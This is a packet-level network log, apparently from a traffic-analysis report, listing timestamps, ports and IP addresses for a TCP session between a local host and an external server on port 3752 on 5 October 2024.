Oct 5, 2024 14:33:29.218913078 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.218950987 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.218990088 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.218998909 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.219038963 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.219043970 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.219137907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.219191074 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.219192028 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.227148056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.227204084 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.227206945 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.227241993 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.227288008 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.235539913 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.235701084 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.235733032 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.235755920 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.245896101 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.245968103 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.246053934 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.246084929 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.246136904 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.253978968 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.254012108 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.254071951 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.309571028 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.310165882 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.310230970 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.318825006 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.318851948 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.318867922 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.318897009 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.326141119 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.326199055 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.326248884 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.326282024 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.326329947 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.332175016 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.332230091 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.332262039 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.332278013 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.340926886 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.340986013 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.341028929 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.341061115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.341103077 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.348834038 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.348889112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.348917961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.348946095 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.349246025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.349302053 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.357188940 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.357247114 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.357279062 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.357300043 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.365953922 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.366014004 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.366050959 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.366082907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.366132975 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.374269962 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.374325037 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.374356985 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.374381065 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.380234003 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.380310059 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.380337000 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.380347013 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.380398989 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:29.400042057 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.442256927 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:31.774868011 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:31.812760115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:31.812859058 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:31.818269014 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123219013 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123250961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123271942 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123286963 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123303890 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.123454094 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.123454094 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.126693964 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.126758099 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.126769066 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.126792908 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.126858950 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.131155014 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.131213903 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.131246090 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.131268024 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.136015892 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.136073112 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.136085033 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.136156082 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.136208057 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.141261101 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.141400099 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.141431093 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.141463995 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.141464949 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.141514063 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.145571947 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.145625114 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.145659924 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.145693064 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.145733118 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.145788908 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.150470018 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.150527000 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.150559902 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.150588989 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.162641048 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.162699938 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.162734985 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.162818909 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.162818909 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.162894964 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.162935972 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.162990093 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.164764881 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.164822102 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.164854050 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.164875031 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.169464111 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.169523001 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.169568062 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.169599056 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.169650078 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.175242901 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.175333977 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.175370932 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.175434113 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.179861069 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.179919958 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.179928064 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.179955006 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.180013895 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.187089920 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.187119961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.187175989 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.187191963 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.187206030 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.187274933 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.211937904 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.211954117 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.211998940 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.212045908 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.212151051 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.212151051 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.220786095 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.220885992 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.220902920 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.220942020 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.221005917 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221023083 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221060038 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.221426964 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221474886 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221497059 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.221513987 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221571922 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.221612930 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221667051 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221704960 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.221730947 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.222069979 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222178936 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222187996 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.222212076 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222263098 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.222522974 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222557068 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222592115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222611904 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.222950935 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.222985029 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.223016977 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.223016977 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.223067999 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.226969004 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.227037907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.227070093 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.227094889 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.231769085 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.231863022 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.231873989 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.231964111 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.231997013 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.232017040 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.236587048 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.236654043 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.236706018 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.236779928 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.236833096 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.241404057 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.241456985 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.241488934 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.241518974 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.246525049 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.246604919 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.246622086 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.246638060 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.246692896 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.250999928 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.251054049 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.251085997 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.251120090 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.255908012 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.255999088 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.256000996 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.256033897 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.256087065 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.262018919 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.262074947 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.262108088 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.262132883 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.265386105 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.265439987 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.265450954 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.265471935 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.265521049 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.270802975 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.270838022 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.270911932 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.270950079 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.274899960 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.274955034 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.274969101 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.274986982 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.275038958 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.279886961 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.280019999 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.280050039 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.280081034 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.280082941 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.280138016 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.284338951 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.284435034 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.284465075 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.284496069 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.284497023 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.284549952 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.288281918 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.288336039 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.288367033 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.288398981 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.292453051 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.292522907 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.292551994 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.292584896 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.292634964 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.296499968 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.296639919 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.296672106 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.296705961 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.300574064 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.300626993 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.300646067 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.300658941 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.300709009 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.304410934 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.304464102 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.304496050 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.304527998 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.308533907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.308585882 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.308598995 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.308617115 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.308666945 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.313244104 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.313278913 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.313314915 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.313430071 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.316320896 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.316418886 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.316437006 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.316447973 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.316479921 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.316500902 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.320334911 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.320386887 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.320405960 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.320419073 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.320473909 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.324877977 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.324932098 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.324960947 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.324985981 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.324992895 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.325042963 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.328389883 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.328423977 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.328455925 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.328478098 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.332757950 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.332791090 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.332824945 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.332989931 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.334923983 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.334955931 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.334990025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.335031986 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.337898970 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.337953091 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.337960958 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.337985039 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.338033915 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.339258909 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.339359045 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.339411020 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.339432955 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.339461088 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.339512110 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.341202974 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.341305017 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.341336012 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.341363907 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.342784882 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.342848063 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.342895985 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.342926025 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:32.342978954 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:32.344302893 CEST	3752	49738	147.45.126.71	192.168.2.4
